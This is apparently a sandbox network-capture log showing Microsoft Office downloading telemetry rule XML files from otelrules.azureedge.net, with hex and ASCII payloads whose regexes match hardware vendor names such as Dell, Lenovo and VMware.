2024-11-07 05:01:00 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:01 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:01 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:01 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: d3a7539b-d01e-0049-4855-2ee7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050101Z-17df447cdb5qkskwhC1DFWeeg400000003w000000000nd0e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:01 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:01 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:01 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:01 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 5ae26df0-401e-0083-7985-30075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050101Z-17df447cdb5qt2nfhC1DFWzhgw00000001800000000079mn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 05:01:01 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:01 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:01 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:01 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: ee786005-101e-0065-140e-2d4088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050101Z-16547b76f7fcjqqhhC1DFWrrrc00000007p00000000096pn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 05:01:01 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:01 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:01 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:01 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 94eba7f5-101e-0079-455c-2e5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050101Z-15869dbbcc6qwghvhC1DFWssds00000004500000000083hp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 05:01:01 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:01 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:01 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:01 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 9ed703a9-f01e-0020-1358-2e956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050101Z-17df447cdb5w28bthC1DFWgb6400000003s000000000278s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:01 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:02 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:02 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:02 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 52c466ac-c01e-007a-7901-2db877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050102Z-16547b76f7fr4g8xhC1DFW9cqc00000006w0000000007hg8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:02 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:02 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:02 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:02 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 2e71ae26-601e-0097-6701-2df33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050102Z-16547b76f7f22sh5hC1DFWyb4w00000007p0000000003cnm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 05:01:02 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:02 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:02 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:02 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 848bcfe1-701e-0053-01cb-2f3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050102Z-17df447cdb54qlp6hC1DFWqcfc00000003ug00000000au5b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:02 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:02 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:02 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:02 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: e16c3d14-801e-00a3-050a-2d7cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050102Z-16547b76f7fnm7lfhC1DFWkxt400000007eg00000000scg2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 05:01:02 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:02 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:02 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:02 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 641eec97-501e-005b-2d5f-2ed7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050102Z-17df447cdb5c9wvxhC1DFWn08n0000000430000000003f4a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:02 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:03 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:03 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:03 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 7b5da9ca-601e-0050-1658-2e2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050103Z-17df447cdb56j5xmhC1DFWn91800000003xg00000000d917 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:03 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:03 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
